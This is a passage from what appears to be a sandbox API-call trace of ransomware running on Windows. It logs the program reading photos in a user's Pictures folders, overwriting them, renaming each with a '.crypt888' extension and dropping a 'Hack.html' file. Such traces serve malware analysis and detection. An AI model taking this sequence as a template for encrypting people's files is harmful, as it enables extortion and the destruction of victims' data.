HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg", lpFilePart=0x0) returned 0x4a [0084.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7ezfeft irpm845frn0.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.559] GetFileType (hFile=0x174) returned 0x1 [0084.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.559] GetFileType (hFile=0x174) returned 0x1 [0084.559] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xff12 [0084.559] ReadFile (in: hFile=0x174, lpBuffer=0x2710208, nNumberOfBytesToRead=0xff12, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2710208*, lpNumberOfBytesRead=0x39ed24*=0xff12, lpOverlapped=0x0) returned 1 [0084.560] CloseHandle (hObject=0x174) returned 1 [0084.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg", lpFilePart=0x0) returned 0x4a [0084.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7ezfeft irpm845frn0.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.597] GetFileType (hFile=0x174) returned 0x1 [0084.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.597] GetFileType (hFile=0x174) returned 0x1 [0084.597] WriteFile (in: hFile=0x174, lpBuffer=0x278cd44*, nNumberOfBytesToWrite=0xff20, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x278cd44*, lpNumberOfBytesWritten=0x39ed14*=0xff20, lpOverlapped=0x0) returned 1 [0084.599] CloseHandle (hObject=0x174) returned 1 [0084.603] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg", lpFilePart=0x0) returned 0x4a [0084.603] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg.crypt888", lpFilePart=0x0) returned 0x53 [0084.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.603] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7ezfeft irpm845frn0.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5048b0, ftCreationTime.dwHighDateTime=0x1d46058, ftLastAccessTime.dwLowDateTime=0xfe3e30f0, ftLastAccessTime.dwHighDateTime=0x1d46598, ftLastWriteTime.dwLowDateTime=0xc3a0ab60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xff20)) returned 1 [0084.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.603] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7ezfeft irpm845frn0.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7EZFEFt IRPM845FrN0.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7ezfeft irpm845frn0.jpg.crypt888")) returned 1 [0084.604] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg", lpFilePart=0x0) returned 0x48 [0084.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7svnywxgen1xf6hrz.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.604] GetFileType (hFile=0x174) returned 0x1 [0084.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.604] GetFileType (hFile=0x174) returned 0x1 [0084.604] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x8b94 [0084.604] ReadFile (in: hFile=0x174, lpBuffer=0x279d104, nNumberOfBytesToRead=0x8b94, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x279d104*, lpNumberOfBytesRead=0x39ed24*=0x8b94, lpOverlapped=0x0) returned 1 [0084.605] CloseHandle (hObject=0x174) returned 1 [0084.618] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg", lpFilePart=0x0) returned 0x48 [0084.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7svnywxgen1xf6hrz.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.619] GetFileType (hFile=0x174) returned 0x1 [0084.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.619] GetFileType (hFile=0x174) returned 0x1 [0084.619] WriteFile (in: hFile=0x174, lpBuffer=0x28158e8*, nNumberOfBytesToWrite=0x8ba0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x28158e8*, lpNumberOfBytesWritten=0x39ed14*=0x8ba0, lpOverlapped=0x0) returned 1 [0084.621] CloseHandle (hObject=0x174) returned 1 [0084.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg", lpFilePart=0x0) returned 0x48 [0084.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg.crypt888", lpFilePart=0x0) returned 0x51 [0084.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7svnywxgen1xf6hrz.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x348228f0, ftCreationTime.dwHighDateTime=0x1d4618f, ftLastAccessTime.dwLowDateTime=0xe06c71a0, ftLastAccessTime.dwHighDateTime=0x1d459d0, ftLastWriteTime.dwLowDateTime=0xc3a30cc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8ba0)) returned 1 [0084.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.623] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7svnywxgen1xf6hrz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\7SvNYwXGen1Xf6HRZ.jpg.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\7svnywxgen1xf6hrz.jpg.crypt888")) returned 1 [0084.624] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png", lpFilePart=0x0) returned 0x3b [0084.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\azwb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.624] GetFileType (hFile=0x174) returned 0x1 [0084.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.624] GetFileType (hFile=0x174) returned 0x1 [0084.624] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x25f8 [0084.624] ReadFile (in: hFile=0x174, lpBuffer=0x281e8e0, nNumberOfBytesToRead=0x25f8, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x281e8e0*, lpNumberOfBytesRead=0x39ed24*=0x25f8, lpOverlapped=0x0) returned 1 [0084.625] CloseHandle (hObject=0x174) returned 1 [0084.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png", lpFilePart=0x0) returned 0x3b [0084.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\azwb.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.647] GetFileType (hFile=0x174) returned 0x1 [0084.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.648] GetFileType (hFile=0x174) returned 0x1 [0084.648] WriteFile (in: hFile=0x174, lpBuffer=0x28774a4*, nNumberOfBytesToWrite=0x2600, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x28774a4*, lpNumberOfBytesWritten=0x39ed14*=0x2600, lpOverlapped=0x0) returned 1 [0084.649] CloseHandle (hObject=0x174) returned 1 [0084.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png", lpFilePart=0x0) returned 0x3b [0084.650] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png.crypt888", lpFilePart=0x0) returned 0x44 [0084.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\azwb.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f19e730, ftCreationTime.dwHighDateTime=0x1d46303, ftLastAccessTime.dwLowDateTime=0x7648f020, ftLastAccessTime.dwHighDateTime=0x1d464a5, ftLastWriteTime.dwLowDateTime=0xc3a7cf80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1 [0084.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.650] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\azwb.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\azwb.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\azwb.png.crypt888")) returned 1 [0084.651] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png", lpFilePart=0x0) returned 0x42 [0084.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\u-bgja z-lr.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.651] GetFileType (hFile=0x174) returned 0x1 [0084.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.651] GetFileType (hFile=0x174) returned 0x1 [0084.651] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x1625d [0084.651] ReadFile (in: hFile=0x174, lpBuffer=0x36a14f0, nNumberOfBytesToRead=0x1625d, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36a14f0*, lpNumberOfBytesRead=0x39ed24*=0x1625d, lpOverlapped=0x0) returned 1 [0084.652] CloseHandle (hObject=0x174) returned 1 [0084.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png", lpFilePart=0x0) returned 0x42 [0084.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\u-bgja z-lr.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.695] GetFileType (hFile=0x174) returned 0x1 [0084.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.695] GetFileType (hFile=0x174) returned 0x1 [0084.695] WriteFile (in: hFile=0x174, lpBuffer=0x3710110*, nNumberOfBytesToWrite=0x16260, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3710110*, lpNumberOfBytesWritten=0x39ed14*=0x16260, lpOverlapped=0x0) returned 1 [0084.697] CloseHandle (hObject=0x174) returned 1 [0084.698] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png", lpFilePart=0x0) returned 0x42 [0084.698] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png.crypt888", lpFilePart=0x0) returned 0x4b [0084.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\u-bgja z-lr.png"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac487a80, ftCreationTime.dwHighDateTime=0x1d4641c, ftLastAccessTime.dwLowDateTime=0xf6f28f20, ftLastAccessTime.dwHighDateTime=0x1d4569e, ftLastWriteTime.dwLowDateTime=0xc3aef3a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x16260)) returned 1 [0084.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.698] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\u-bgja z-lr.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\U-BGjA Z-lr.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\u-bgja z-lr.png.crypt888")) returned 1 [0084.699] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\Hack.html", lpFilePart=0x0) returned 0x3c [0084.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0084.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jjBIYTw_lqQ\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jjbiytw_lqq\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0084.700] GetFileType (hFile=0x174) returned 0x1 [0084.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0084.700] GetFileType (hFile=0x174) returned 0x1 [0084.700] WriteFile (in: hFile=0x174, lpBuffer=0x26c925c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26c925c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0084.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.701] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq", lpFilePart=0x0) returned 0x37 [0084.701] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\", lpFilePart=0x0) returned 0x38 [0084.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0084.701] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.701] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.701] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.701] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.701] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.702] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.702] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.702] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0084.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq", lpFilePart=0x0) returned 0x37 [0084.702] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\", lpFilePart=0x0) returned 0x38 [0084.702] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0084.702] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.702] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.703] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.703] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.703] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.703] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.703] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.703] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0084.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.704] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png", lpFilePart=0x0) returned 0x4f [0084.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\s9viPIm9Si_081Fq\\-r0XhU0DnyCxU9m2O8m.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s9vipim9si_081fq\\-r0xhu0dnycxu9m2o8m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.704] 